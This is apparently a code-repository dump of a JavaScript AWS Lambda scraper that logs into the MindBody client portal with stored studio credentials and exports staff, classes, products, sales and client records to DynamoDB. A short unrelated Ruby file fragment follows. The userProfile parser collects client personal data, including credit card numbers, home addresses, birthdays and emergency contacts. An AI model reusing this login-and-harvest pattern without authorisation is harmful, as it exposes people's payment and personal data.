'https://clients.mindbodyonline.com/ResourceManagement/GetResourceManagementData' const fetchParams = { session, url, options: {}, respType: 'json' } const { Resources, Locations, ServiceCategoryVisitTypes } = await mbFetch(fetchParams) const locations = Locations.map(l => ({...l, id: l.Id})) const resources = Resources.map(r => ({...r, id: r.ResourceId})) const visits = ServiceCategoryVisitTypes.map(v => ({...v, id: v.VisitTypeId})) const resourceLengths = { locations: locations.length, resources: resources.length, visits: visits.length } await logger(session, `Processing Resources: ${JSON.stringify(resourceLengths)}`) await Promise.all(resources.map(resource => writeToDynamo('resourceId', resource, 'ResourcesTable') )) await Promise.all(locations.map(location => writeToDynamo('locationId', location, 'LocationsTable') )) await Promise.all(visits.map(visit => writeToDynamo('serviceCategoryVisitTypeId', visit, 'ServiceCategoryVisitTypesTable') )) return Promise.resolve() } <file_sep>/functions/getTest.js const { dig, digDug } = require('./utils') exports.handler = async (event, context) => { digDug() return dig({ b: 'yay digging'}, 'b') } <file_sep>/functions/getProductsByVariantId.js const cheerio = require('cheerio') const mbFetch = require('./utils/mbFetch') const logger = require('./utils/logger') const sendToQueue = require('./utils/sendToQueue') const qs = require('querystring') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { item, session } = event await logger(session, `getting product variants for product: ${item.id}`) const method = 'post' const url = 'https://clients.mindbodyonline.com/asp/adm/adm_tlbx_prod.asp' const headers = { "Content-Type": "application/x-www-form-urlencoded" } const body = searchQueryParams(item.id, session.studioId) const fetchParams = { session, url, options: { method, headers, body }, parser: 'ProductsByVariantParser' } const products = await mbFetch(fetchParams) await sendToQueue(products, 'getProductDetails', session) return Promise.resolve() } const searchQueryParams = (variantId, studioId) => { return qs.stringify({ frmSubmitted: studioId, frmAddEdit:"Edit", showSearchResults:"true", newProdSelected:"true", advSearch:"true", optFltSupplier:"0", optFltCategory: "0", optFilterBy: "0", optIncludeUnused:"on", optCreatedDate:"7d", optSearchMeth:"all", optGroupMeth:"all", frmVariantID: variantId }) } <file_sep>/functions/getClassTypes.js const mbFetch = require('./utils/mbFetch') const logger = require('./utils/logger') const sendToQueue = require('./utils/sendToQueue') const writeToDynamo = require('./utils/writeToDynamo') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { session } = event await logger(session, `starting class types scraper`) const url = 'https://clients.mindbodyonline.com/servicesandpricing/classes' const fetchParams = { session, url, options: {}, parser: 'classTypesParser' } const { classCategories, classTypes } = await mbFetch(fetchParams) await Promise.all(classCategories.map(category => writeToDynamo('classCategoryId', category, 'ClassCategoriesTable') )) const queueItems = session.prod ? classTypes : classTypes.filter(ct => ct.programId === '22').slice(0,10) await Promise.all(queueItems.map(queueItem => sendToQueue(queueItem, 'getClassTypeEvents', session))) await Promise.all(queueItems.map(queueItem => sendToQueue(queueItem, 'getClassTypeDetails', session))) return Promise.resolve() } <file_sep>/functions/parsers/userProfile.js const cheerio = require('cheerio') const dig = require('object-dig') const moment = require('moment') module.exports = (resp) => { const $ = cheerio.load(resp) const err = $('.error-main-header').length if(err){return false} const createDateStr = $('#contactloginfo .textOnly').text() const createdOn = moment(createDateStr, "MMMM D, YYYY").format('MM/DD/YYYY') const relationships = $('#relationships .smallTextBlack').get().map(r => { const relationshipData = dig($(r).parent().children().eq(0).attr('href').match(/\((.*?)\);$/), '1') || "" return { typeId:relationshipData.split(',')[0], type: $(r).parent().text().trim().split('\n')[0], id:relationshipData.split(',')[1], name: $(r).text() } }) return { id: $('#rssidAssignConsumerId').val(), barcode: $('#numClientID').val(), name:{ firstName: $('#requiredtxtFirst_Name').val(), middleName: $('#txtMiddleName').val(), lastName: $('#requiredtxtLast_Name').val(), nickname: $('#txtDear').val() }, email: $('#txtEmail').val(), phone: { cellPhone: $('#txtCellPhone').val(), homePhone: $('#txtHomePhone').val(), workPhone: $('#txtWorkPhone').val(), workPhoneExt: $('#txtWorkExtension').val() }, address: { address1:$('[name=origtxtAddress]').val(), address2:$('[name=origtxtAddress2]').val(), city:$('[name=origtxtCity]').val(), state:$('[name=origState]').val(), zip:$('[name=origtxtZip]').val() }, billing: { billingAddress: $('#txtBillingAddress').val(), billingCity: $('#txtBillingCity').val(), billingState: $('#optBillingState [selected]').val(), billingZip: $('#txtBillingZip').val(), ccNumber: $('#txtCCNumber').val(), ccExpMonth: $('#optExpMonth [selected]').val() || '', ccExpYear: $('#optExpYear [selected]').val() || '', ccExpMonth: $('#optExpMonth [selected]').val() || '' }, notes: $('#txtClientNotes').text(), memberStatus: $('#memberstatus label').eq(0).text(), gender: $('#optGender [selected]').text(), birthday: $('#txtBirthday').val(), location: $('#optHomeStudio [selected]').not(function(i, loc){return $(this).val() === "0"}).eq(0).text(), createdOn, relationships, emergencyContact: { name: $('#emergencycontact #txtEmergContact').val(), relationship: $('#emergencycontact #txtRelationship').val(), phone: $('#emergencycontact #txtEmerPhone').val(), email: $('#emergencycontact #txtEmerEmail').val() }, reminderEmails:{ account: $('#optAccountEmail').attr('checked') === "checked", schedule: $('#optScheduleEmail').attr('checked') === "checked", promo: $('#optPromoEmail').attr('checked') === "checked" } } } <file_sep>/functions/getUserProfile.js const mbFetch = require('./utils/mbFetch') const logger = require('./utils/logger') const dig = require('./utils/dig') const writeToDynamo = require('./utils/writeToDynamo') const qs = require('querystring') let session exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { item } = event session = event.session await logger(session, `fetching user: ${item.id} - ${item.firstName} ${item.lastName}`) let client = await fetchClient(item.id) console.log(`input: ${item.id}, output: ${client.id}`) if(!client.id){ client = await searchForClient(item) } if(!client.id){ client = parseMinClient(item) console.log('rejected client', client) } return writeToDynamo('clientId', client, 'ClientsTable') } const fetchClient = (id) => { const url = 'https://clients.mindbodyonline.com/asp/adm/adm_clt_profile.asp' const query = qs.stringify({ id }) const fetchParams = { session, url: `${url}?${query}`, options: {}, parser: 'userProfileParser' } return mbFetch(fetchParams) } const searchForClient = async (clientParams) => { const { id, email, phone } = clientParams let client = false if(!client.id){ client = await searchByField(id) } if(!client.id){ client = await searchByField(email) } if(!client.id){ client = await searchByField(phone) } return client } const searchByField = async (value) => { const url = 'https://clients.mindbodyonline.com/clientsearch/clientlookup' const params = { searchText: value, filters: 'Name,ID,Phone,Email', maxReturned:30, returnInactive:true } const query = qs.stringify(params) const fetchParams = { session, url: `${url}?${query}`, options: {}, respType: 'json' } const clientId = await mbFetch(fetchParams) .then(resp => { console.log(`${params.searchText} resp:`, resp) return resp.length === 1 ? dig(resp, '0', 'ID') : false }) return clientId ? fetchClient(clientId) : false } const parseMinClient = client => ({ id: client.id, barcode: '', name:{ firstName: client.firstName, middleName: '', lastName: client.firstName, nickname: '' }, email: client.email, phone: { cellPhone: client.phone, homePhone: '', workPhone: '', workPhoneExt: '' } }) <file_sep>/functions/parsers/staff.js const cheerio = require('cheerio') const dig = require('../utils/dig') module.exports = (resp) => { const $ = cheerio.load(resp) return $('.staffTable tbody tr').get().map(s => { const id = dig($(s).find('.staffNameLink').attr('href').match(/trnID=(.*?)$/), "1" ) return { id, ...$(s).data()} }) } <file_sep>/functions/parsers/staffMemberApptPay.js const cheerio = require('cheerio') module.exports = (resp) => { const $ = cheerio.load(resp) const payRates = $('.appointmentTypeDetails').get().map(row => { return { appointmentType: $(row).find('td.serviceCategory span').attr('title'), category: $(row).find('td.serviceName span').attr('title'), duration: $(row).find('input[name=PayRateTimeLength]').val(), payType: $(row).find('.commissionType [selected]').text(), percentPay: $(row).find('input[name=PayRatePercentageCommission]').val(), flatPay: $(row).find('input[name=PayRateFlatComision]').val(), } }) const defaultPayRate = { payType: $('#DefaultAppointmentPayRate_PayRateType [selected]').text(), flatPay: $('#DefaultAppointmentPayRate_PayAmount').val(), percentPay: $('#DefaultAppointmentPayRate_PercentPay').val() } return { defaultPayRate, payRates } } <file_sep>/functions/parsers/enrollments.js const cheerio = require('cheerio') const qs = require('querystring') module.exports = (resp) => { const $ = cheerio.load(resp) return $('.cigarWithExpandable').get().map(row => { return { id: $(row).find('.delete a').data('typeid'), serviceCategoryId: $(row).parents('.js-collapseParentContainer').data('id'), serviceCategoryType: $(row).parents('.js-collapseParentContainer').data('type'), serviceCategoryName: $(row).parents('.js-collapseParentContainer').find('.serviceCatName').text().trim(), serviceCategoryActive: $(row).parents('.inactiveWrapper').length === 0, title: $(row).find('[href^="/ServicesAndPricingEnrollmentDetail/Edit"]').attr('title'), active: !$(row).hasClass('hide') } }) } <file_sep>/functions/getStaff.js const mbFetch = require('./utils/mbFetch') const logger = require('./utils/logger') const sendToQueue = require('./utils/sendToQueue') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { session } = event await logger(session, `starting staff scraper`) const url = 'https://clients.mindbodyonline.com/staff/manage' const fetchParams = { session, url, options: {}, parser: 'staffParser' } const staff = await mbFetch(fetchParams) const queueItems = session.prod ? staff : staff.slice(0,10) await sendToQueue(queueItems, 'getStaffMember', session) return Promise.resolve() } <file_sep>/functions/getToken.js const AWS = require('aws-sdk') const ssm = new AWS.SSM() const fetch = require('node-fetch') const setCookie = require('set-cookie-parser') const FormData = require('form-data') const userAgent = 'Mozilla/5.0 AppleWebKit/537.36 Chrome/71.0.3578.98 Safari/537.36' const sessionUrl = 'https://clients.mindbodyonline.com/classic/home?studioid=6655' const loginUrl = 'https://clients.mindbodyonline.com/Login?studioID=6655&isLibAsync=true&isJson=true' let currentVersion = 0 let token exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { getNew, version, session } = event console.log('session', session) const { studioId } = session console.log('getNew', getNew) console.log('version', version) if(token){ console.log('---reusing token---') } if(getNew && currentVersion === version){ console.log('---get new request---') currentVersion += 1 token = await getNewToken(studioId) } token = token ? token : await getNewToken(studioId) return { token, version: currentVersion } } const getNewToken = async (studioId) => { console.log('---fetching token---') const ssmParams = { Name: `/mindbody-scraper/${process.env.stage}/studio/${studioId}`, WithDecryption: true }; const creds = await ssm.getParameter(ssmParams).promise() .then(data => JSON.parse(data.Parameter.Value)) const session = await fetch(sessionUrl, { headers: { 'User-Agent': userAgent } }) .then(resp => resp.headers.get('set-cookie')) .then(combinedCookies => setCookie.splitCookiesString(combinedCookies)) .then(parseCookies => setCookie.parse(parseCookies)) .then(cookies => cookies.find(c => c.name === "SessionFarm%5FGUID")) .then(session => `${session.name}=${session.value}`) await fetch(sessionUrl, { headers: { 'User-Agent': userAgent, 'Cookie': session } }) const form = new FormData() form.append('requiredtxtUserName', creds.username) form.append('requiredtxtPassword', <PASSWORD>) const token = await fetch(loginUrl, { method: 'POST', headers: { 'Cookie': session, 'User-Agent': userAgent }, body: form }) .then(resp => resp.headers.get('set-cookie')) .then(combinedCookies => setCookie.splitCookiesString(combinedCookies)) .then(parseCookies => setCookie.parse(parseCookies)) .then(cookies => { const idsrvauth = cookies.find(c => c.name === "idsrvauth") const idsrvauth1 = cookies.find(c => c.name === "idsrvauth1") return `${session};${idsrvauth.name}=${idsrvauth.value};${idsrvauth1.name}=${idsrvauth1.value};` }) await fetch(sessionUrl, { headers: { 'User-Agent': userAgent, 'Cookie': token } }) return token } <file_sep>/functions/utils/logger.js const AWS = require('aws-sdk') const cloudwatchlogs = new AWS.CloudWatchLogs() module.exports = async (session, message) => { const logGroupName = process.env.scraperLogName const logStreamName = session.logStreamName const logEvents = [{ message, timestamp: Date.now() }] let sequenceToken = await getNextSequenceToken(logGroupName, logStreamName) let logged, logParams while(!logged){ logParams = { logGroupName, logStreamName, logEvents, sequenceToken } await cloudwatchlogs.putLogEvents(logParams).promise() .then( () => { logged = true }) .catch( async err => { if(err.code === 'InvalidSequenceTokenException'){ sequenceToken = err.message.match(/sequenceToken is: (.*?)$/)[1] } else { sequenceToken = await getNextSequenceToken(logGroupName, logStreamName) } logged = false }) } return Promise.resolve() } const getNextSequenceToken = async (logGroupName, logStreamNamePrefix) => { const logParams = { logGroupName, logStreamNamePrefix, limit:1 } return await cloudwatchlogs.describeLogStreams(logParams).promise() .then(data => data.logStreams[0].uploadSequenceToken) } <file_sep>/functions/parsers/productsByLetter.js const cheerio = require('cheerio') module.exports = (resp) => { const $ = cheerio.load(resp) return $('.productRow').get().map( prod => { const prodId = $(prod).find('.requiredtxtPrice').attr('name').match(/\d+/g).join('') const variants = $(prod).find('.productWithVariants').attr('href') ? true : false const name = variants ? $(prod).find('.productWithVariants').text() : $(prod).find('.productWithoutVariants').text() return { id: prodId, name, variants, price: $(prod).find('.requiredtxtPrice').val(), onlinePrice: $(prod).find('.requiredtxtOnlinePrice').val(), cost: $(prod).find('.requiredtxtOutCost').val(), weight: $(prod).find('.requiredtxtWeight').val(), active: !$(prod).find(`#optDiscontinued${prodId}`).prop('checked'), createdDate: $(prod).find(`[name=optProdCreatedDate${prodId}]`).val(), modifiedDate: $(prod).find(`[name=optProdModifiedDate${prodId}]`).val(), userId: $(prod).find(`[name=optProdCreatedBy${prodId}]`).val(), user: $(prod).find(`[name=optProdCreatedBy${prodId}]`).parent().text().trim().replace('---',''), } }) } <file_sep>/functions/getBusinessLocations.js const mbFetch = require('./utils/mbFetch') const logger = require('./utils/logger') const writeToDynamo = require('./utils/writeToDynamo') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { session } = event await logger(session, `starting business & locations scraper`) const url = 'https://clients.mindbodyonline.com/BusinessAndConnectLocations/BusinessAndLocationData' const headers = {"Content-Type":"application/json"} const fetchParams = { session, url, options: { method:'post', headers, body:{} }, respType: 'json' } const businessLocations = await mbFetch(fetchParams) console.log('businessLocations', businessLocations) return businessLocations } <file_sep>/functions/getClassTypeEventsTeachers.js const mbFetch = require('./utils/mbFetch') const logger = require('./utils/logger') const sendToQueue = require('./utils/sendToQueue') const qs = require('querystring') const moment = require('moment') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { item, session } = event const { id, classId } = item await logger(session, `fetching class type events teachers: ${id}, classId: ${classId}`) const url = 'https://clients.mindbodyonline.com/asp/adm/adm_cs_e.asp' const query = qs.stringify({ classID: id }) const fetchParams = { session, url: `${url}?${query}`, options: {}, parser: 'classTypeEventsTeachersParser' } const classTypeEventsTeachers = await mbFetch(fetchParams) const classEvents = classTypeEventsTeachers.map(teachers => ({ ...teachers, id: `${classId}_${teachers.classDate}`, classTypeId: classId, scheduleId: id })) const queueItems = session.prod ? classEvents : classEvents .filter(cls => (moment(cls.classDate, 'M/D/YYYY') < moment())) .filter(cls => cls.teacher) .slice(0,10) await Promise.all(queueItems.map( queueItem => sendToQueue(queueItem, 'getClassEventUsers', session) )) return Promise.resolve() } <file_sep>/functions/parsers/classTypeEvents.js const cheerio = require('cheerio') const dig = require('../utils/dig') module.exports = (resp) => { const $ = cheerio.load(resp) return $('#classSchedulesTable tbody tr').get().map( cls => ({ id: $(cls).attr('id').replace('classSchedule', ''), active: $(cls).hasClass('activeClassSchedule') })) } <file_sep>/functions/getStaffMember.js const mbFetch = require('./utils/mbFetch') const logger = require('./utils/logger') const sendToQueue = require('./utils/sendToQueue') const qs = require('querystring') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { item, session } = event await logger(session, `fetching staff member: ${item.id} - ${item.firstname} ${item.lastname}`) const url = `https://clients.mindbodyonline.com/asp/adm/adm_trn_e.asp` const query = qs.stringify({ trnID: item.id }) const fetchParams = { session, url: `${url}?${query}`, options: {}, parser: 'staffMemberParser' } const staffMember = await mbFetch(fetchParams) await sendToQueue({...item, ...staffMember}, 'getStaffMemberPayRates', session) return Promise.resolve() } <file_sep>/functions/parsers/contractTypes.js const cheerio = require('cheerio') module.exports = (resp) => { const $ = cheerio.load(resp) return $('.contract-item').get().map(contract => ({ id: $(contract).attr('id'), contractName: $(contract).attr('title'), active: !$(contract).hasClass('deactivated'), soldOnline: $(contract).find('.table-relative i').length > 0 })) } <file_sep>/functions/getUsers.js const mbFetch = require('./utils/mbFetch') const logger = require('./utils/logger') const sendToQueue = require('./utils/sendToQueue') const cheerio = require('cheerio') const qs = require('querystring') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { session } = event await logger(session, `starting users scraper`) const url = 'https://clients.mindbodyonline.com/ASP/adm/adm_rpt_mailer.asp' const query = qs.stringify({ category: 'Clients' }) const method = 'post' const headers = { "Content-Type": "application/x-www-form-urlencoded" } const body = bodyQueryParams() const fetchParams = { session, url: `${url}?${query}`, options: { method, headers, body }, parser: 'usersParser' } const users = await mbFetch(fetchParams) const endSlice = users.length const startSlice = session.prod ? 0 : users.length - 200 const filteredUsers = users.slice(startSlice, endSlice) console.log('filteredUsers', filteredUsers) await sendToQueue(filteredUsers, 'getUserProfile', session) await logger(session, `total users: ${users.length}`) return Promise.resolve() } const bodyQueryParams = () => { return qs.stringify({ "frmGenReport": true, "frmExpReport": true, "optListType": 1, "optListFor": 13, "optProspectYN": 2 }) } <file_sep>/functions/utils/mbFetch.js const AWS = require('aws-sdk') const lambda = new AWS.Lambda() module.exports = async (fetchParams) => { params = { FunctionName: `mindbody-scraper-${process.env.stage}-mbFetch`, Payload: JSON.stringify(fetchParams) } return await lambda.invoke(params).promise() .then(data => JSON.parse(data.Payload)) } <file_sep>/functions/parsers/sales.js const cheerio = require('cheerio') const dig = require('../utils/dig') module.exports = (resp) => { const $ = cheerio.load(resp) payments = [] if($('.div-results').children().length === 0){ return false } $('.result-table').get().forEach(table => { const paymentType = $(table).find('caption').text().trim() $(table).find('tr.even, tr.odd').get().forEach(row => { const clientId = ($(row) .find('td[data-art=clientCell] a') .attr('href') .match(/ID=(.*?)&/) || [])[1] const mbSaleId = $(row).find('td[data-art=saleidCell] a').text().trim() let num = 0 let id = mbSaleId while(payments.find(obj => obj.id === id)){ num += 1 id = `${mbSaleId}_${num}` } payments.push({ id, paymentType, clientId, mbSaleId, date: $(row).find('td[data-art=saledateCell]').text().trim(), clientName: $(row).find('td[data-art=clientCell] a').text().trim(), itemName: $(row).find('td[data-art=itemnameCell]').text().trim(), locationName: $(row).find('td[data-art=locationCell]').text().trim(), notes: $(row).find('td[data-art=notesCell]').text().trim(), color: $(row).find('td[data-art=colorCell]').text().trim().replace('---',''), size: $(row).find('td[data-art=sizeCell]').text().trim().replace('---',''), itemPrice: $(row).find('td[data-art=itempriceCell]').text().trim(), quantity: $(row).find('td[data-art=quantityCell]').text().trim(), subtotal: $(row).find('td[data-art=subtotalCell]').text().trim(), discount: $(row).find('td[data-art=discountamountCell]').text().trim(), tax: $(row).find('td[data-art=taxCell]').text().trim(), itemTotal: $(row).find('td[data-art=itemtotalCell]').text().trim(), totalPaid: $(row).find('td[data-art=totalpaidwpaymentmethodCell]').text().trim(), }) }) }) return payments } <file_sep>/functions/getClassTypeEvents.js const mbFetch = require('./utils/mbFetch') const logger = require('./utils/logger') const sendToQueue = require('./utils/sendToQueue') const qs = require('querystring') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { item, session } = event const { id, active, name } = item await logger(session, `fetching class type events: ${id} - ${name}`) const url = 'https://clients.mindbodyonline.com/ServicesAndPricingClassDetail/Index' const query = qs.stringify({ id }) const fetchParams = { session, url: `${url}?${query}`, options: {}, parser: 'classTypeEventsParser' } const classTypeEvents = await mbFetch(fetchParams) const classIds = classTypeEvents.map(evt => ({...evt, classId: id})) await logger(session, `classTypeEvents: ${JSON.stringify(classIds)}`) const queueItems = session.prod ? classIds : classIds.slice(0,10) await Promise.all(queueItems.map( queueItem => sendToQueue(queueItem, 'getClassTypeEventsTeachers', session) )) return Promise.resolve() } <file_sep>/functions/parsers/pricingDetails.js const dig = require('object-dig') module.exports = (resp) => { const regex = /var jsonModel = JSON.parse\((.*?)\);/ const scriptStr = dig(resp.match(regex), '1') || '' const objStr = JSON.parse(scriptStr) const obj = JSON.parse(objStr) || {} const selectedDurationUnit = obj.AvailableDurationUnits.find( u => u.DurationUnitId === obj.SelectedDurationUnit ) const selectedFrequencyLimitation = obj.AvailableFrequencyLimitations.find( u => u.FrequencyLimitaionId === obj.SelectedFrequencyLimitation ) const selectedRevenueCategories = obj.AvailableRevenueCategories.find( u => u.RevenueCategoryId === obj.SelectedRevenueCategory ) const selectedServiceCategory = obj.AvailableServiceCategories.find( u => u.ServiceCategoryId === obj.SelectedServiceCategory ) const selectedServiceType = obj.AvailableServiceTypes.find( u => u.ServiceTypeId === obj.SelectedServiceType ) return { id: dig(obj, 'PricingOptionId'), productId: dig(obj, 'PricingOptionProductId'), title: dig(obj, 'Name', ob => ob.trim()), duration: dig(obj, 'Duration'), durationUnit: dig(selectedDurationUnit, 'DurationUnitDisplayName'), numberOfSessions: dig(obj, 'NumberOfSessions'), price: dig(obj, 'Price'), onlinePrice: dig(obj, 'OnlinePrice'), frequencyLimitation: dig(selectedFrequencyLimitation, 'FrequencyLimitaionName'), revenueCategory: dig(selectedRevenueCategories, 'RevenueCategoryName'), serviceCategory: dig(selectedServiceCategory, 'ServiceCategoryDisplayName'), serviceType: dig(selectedServiceType, 'ServiceTypeDisplayName'), soldOnline: dig(obj, 'SoldOnline'), sellInMarketplace: dig(obj, 'SellInMarketplace'), notes: dig(obj, 'Notes'), taxes: dig(obj, 'Taxes', taxes => taxes.filter(tax => tax.Enabled)), } } <file_sep>/functions/getContractType.js const { mbFetch, logger, writeToDynamo } = require('./utils') exports.handler = async (event, context) => { context.callbackWaitsForEmptyEventLoop = false const { item, session } = event await logger(session, `fetching contract type: ${item.id} - ${item.contractName}`) const url = `https://clients.mindbodyonline.com/Contract/?id=${item.id}` const fetchParams = { session, url, options: {}, parser: 'contractTypeParser' } const contractType = await mbFetch(fetchParams) return writeToDynamo('contractTypeId', { ...item, ...contractType }, 'ContractTypesTable') }
09bb03b8252342c7ca8a5d0664b8d3a9eb227f13
[ "JavaScript" ]
46
JavaScript
banjofunk/mindbody-scraper
ccc46d596ba931b5d417dfd9652c0cd863444a4f
493309ec31532f304560ad7214aa771488a414a1
refs/heads/master
<repo_name>yusuftasdan/hrmsfrontend<file_sep>/src/layouts/Slogan.jsx import React from 'react' import { Container, Dimmer, Segment, Header, Icon } from 'semantic-ui-react' export default function Slogan() { return ( <div> <Container className='dimer'> <Dimmer.Dimmable as={Segment}> <Icon name='handshake' size='huge' color='teal' /> <Header as='h3' color='teal'>İŞVEREN VE ÇALIŞANI BULUŞTURAN PLATFORM</Header> <Dimmer /> </Dimmer.Dimmable> </Container> </div> ) } <file_sep>/src/layouts/Dashboard.jsx import React from 'react' import { Grid } from 'semantic-ui-react' import JobAdvertisementFilter from '../layouts/JobAdvertisementFilter' import JobAdvertisementList from '../pages/JobAdvertisementList' import Slogan from '../layouts/Slogan' import Footer from '../layouts/Footer' import JobAdvertDetail from '../pages/JobAdvertDetail' import { Route } from 'react-router-dom' export default function Dashboard() { return ( <div> <Grid > <Grid.Row> <Grid.Column width={4}> <JobAdvertisementFilter /> </Grid.Column> <Grid.Column width={12}> <Route exact path="/" component={JobAdvertisementList}/> <Route exact path="/jobAdvertisements" component={JobAdvertisementList}/> <Route path="/jobAdvertisements/:id" component={JobAdvertDetail}/> </Grid.Column> </Grid.Row> </Grid> <Slogan /> <Footer/> </div> ) } <file_sep>/src/pages/JobAdvertDetail.jsx import React, { useEffect, useState } from 'react' import { useParams } from 'react-router-dom' import { Card, Grid, Icon } from 'semantic-ui-react' import JobAdvertisementService from '../services/JobAdvertisementService' export default function JobAdvertDetail() { const [jobAdvertisement, setjobAdvertisement] = useState({}) let { id } = useParams() useEffect(() => { let jobAdvertisementService = new JobAdvertisementService() jobAdvertisementService.findById(id).then(result => setjobAdvertisement(result.data.data)) }, [id]) return ( <div> <Card fluid color="blue"> <Card.Content> <Card.Header> {jobAdvertisement.jobTitle?.title} </Card.Header> </Card.Content> </Card> <Card fluid color="blue"> <Card.Content> <Card.Header> Açıklama </Card.Header> <Card.Description> {jobAdvertisement.jobDescription} </Card.Description> </Card.Content> </Card> <Grid columns={2} divided> <Grid.Row> <Grid.Column width={8}> <Card fluid color="blue"> <Card.Content> <Card.Header> <Icon size="big" name="tasks"/> </Card.Header> </Card.Content> <Card.Content> <Card.Description> Açık Pozisyon : {jobAdvertisement.openPosition} </Card.Description> <Card.Description> Minimum Maaş : {jobAdvertisement.minSalary} </Card.Description> <Card.Description> Maksimum Maaş : {jobAdvertisement.maxSalary} </Card.Description> <Card.Description> Çalışma Şekli : {jobAdvertisement.workingType?.workingType} </Card.Description> <Card.Description> Çalışma Alanı : {jobAdvertisement.workPlace?.workPlace} </Card.Description> <Card.Description> Son Başvuru : {jobAdvertisement.endingDate} </Card.Description> <Card.Description> Yayınlanma Tarihi : {jobAdvertisement.creatingDate} </Card.Description> </Card.Content> </Card> </Grid.Column> <Grid.Column width={8}> <Card fluid color="blue"> <Card.Content textAlign="left"> <Card.Description > <Icon size="big" name="building"/> {jobAdvertisement.employer?.companyName} </Card.Description> </Card.Content> <Card.Content textAlign="left"> <Card.Description> <Icon size="big" name="map marker alternate"/> {jobAdvertisement.city?.cityName} </Card.Description> </Card.Content> <Card.Content textAlign="left"> <Card.Description> <Icon size="big" name="globe"/> {jobAdvertisement.employer?.webAddress} </Card.Description> </Card.Content> <Card.Content textAlign="left"> <Card.Description> <Icon size="big" name="mail"/> {jobAdvertisement.employer?.emailAddress} </Card.Description> </Card.Content> </Card> </Grid.Column> </Grid.Row> </Grid> </div> ) } <file_sep>/src/pages/JobAdvertisementList.jsx import React, { useEffect, useState } from 'react' import JobAdvertisementService from '../services/JobAdvertisementService' import { Item, Card, Label, Icon } from 'semantic-ui-react' import { Link } from 'react-router-dom' export default function JobAdvertisementList() { const [jobAdvertisements, setjobAdvertisements] = useState([]) useEffect(() => { let jobAdvertisementService = new JobAdvertisementService() jobAdvertisementService.findByIsActive().then(result => setjobAdvertisements(result.data.data)) }, []) return ( <div> { jobAdvertisements.map((jobAdvertisement) => ( <Card fluid key={jobAdvertisement.id} as={Link} to={`/jobAdvertisements/${jobAdvertisement.id}`}> <Card.Content textAlign="left"> <Item> <Item.Content> <Item.Header as='b'>{jobAdvertisement.jobTitleTitle}</Item.Header> </Item.Content> <Item.Content> <Item.Meta>{jobAdvertisement.employerCompanyName}</Item.Meta> <Item.Description>{jobAdvertisement.cityCityName}</Item.Description> <Item.Extra> <Label> <Icon name="calendar" /> <Label.Detail>{jobAdvertisement.creatingDate}</Label.Detail> </Label> <Label> <Icon name="calendar outline" /> <Label.Detail>{jobAdvertisement.endingDate}</Label.Detail> </Label> </Item.Extra> </Item.Content> </Item> </Card.Content> </Card> )) } </div> ) } <file_sep>/src/layouts/Footer.jsx import React from 'react' import { Grid, Icon, Menu } from 'semantic-ui-react' export default function Footer() { return ( <div> <Grid columns={3} divided className='footer'> <Grid.Row> <Grid.Column> <Icon name='sitemap' size='big'/> <Menu.Item name='İş İlanları'/> <Menu.Item name='İlan Yayınlama'/> <Menu.Item name='Üye Girişi'/> <Menu.Item name='Üyelik Bireysel Aday'/> <Menu.Item name='Üyelik Firma'/> </Grid.Column> <Grid.Column> <Icon name='handshake' size='big'/> <Menu.Item name='İletişim'/> <Menu.Item name='Hakkımızda'/> <Menu.Item name='Kullanım Şartları'/> <Menu.Item name='Gizlilik'/> </Grid.Column> <Grid.Column> <Icon name='linkify' size='big'/> <Menu.Item name='Instagram:/adasdasd'/> <Menu.Item name='Twitter:/asdasda'/> <Menu.Item name='Linkedin:/asdasdas'/> <Menu.Item name='YouTube:/asdasdas'/> </Grid.Column> </Grid.Row> </Grid> </div> ) }
4bdbd0e1c454a811838e6b624e5a1cc9a764293b
[ "JavaScript" ]
5
JavaScript
yusuftasdan/hrmsfrontend
15864a4d9f590d3f570ab88705b1f21199ccd103
f187abb0867d2160e5720276476f70a16841e79d
refs/heads/master
<file_sep>def reverse_each_word words words.split(" ").collect{|word| word.reverse}.join(" ") end
75440307ee756b782abdc56b99afb0cc87fd141c
[ "Ruby" ]
1
Ruby
KingGranger/reverse-each-word-web-100817
aadbb259f7bab27b6a9612ae61401a1ac276fe31
27f9025ad1ad5d8e0ad6ee443e86a1f5ab6d826a
refs/heads/master
<file_sep>class String def kolor(num) "\e[#{num}m#{self}\e[0m" end def kolorTla(num) "\e[#{num}m#{self}\e[0m" end def kolory(num, num2) "\e[#{num}#{num2}m#{self}\e[0m" end def czarny; "\e[00m#{self}\e[0m" end def czerwony; "\e[01m#{self}\e[0m" end def zielony; "\e[02m#{self}\e[0m" end def brazowy; "\e[03m#{self}\e[0m" end def niebieski; "\e[04m#{self}\e[0m" end def magenta; "\e[05m#{self}\e[0m" end def cyan; "\e[06m#{self}\e[0m" end def szary; "\e[07m#{self}\e[0m" end def kolorTla_czarny; "\e[40m#{self}\e[0m" end def kolorTla_czerowny; "\e[41m#{self}\e[0m" end def kolorTla_zielony; "\e[42m#{self}\e[0m" end def kolorTla_brazowy; "\e[43m#{self}\e[0m" end def kolorTla_niebieski; "\e[44m#{self}\e[0m" end def kolorTla_magenta; "\e[45m#{self}\e[0m" end def kolorTla_cyan; "\e[46m#{self}\e[0m" end def kolorTla_szary; "\e[47m#{self}\e[0m" end #Nie działa w lini komend :( def bold; "\e[1m#{self}\e[22m" end def italic; "\e[3m#{self}\e[23m" end def underline; "\e[4m#{self}\e[24m" end def blink; "\e[5m#{self}\e[25m" end def reverse_color; "\e[7m#{self}\e[27m" end end<file_sep>require_relative 'ElementySceny/Ekran.rb' require_relative 'ElementySceny/Kursor.rb' require_relative 'KlasyPomocnicze/ManagerKolorow.rb' require_relative 'KlasyPomocnicze/String.rb' class ManagerSceny attr_accessor :ekran, :kursor def StworzScene() raise ArgumentError, 'Scena już istnieje!' unless @ekran == nil @ekran = Ekran.new end def StworzKursor() raise ArgumentError, 'Na scenie moze istnieć tylko jeden kursor!' unless @kursor == nil @kursor = Kursor.new end def WyswietlScene() system "clear" or system "cls" 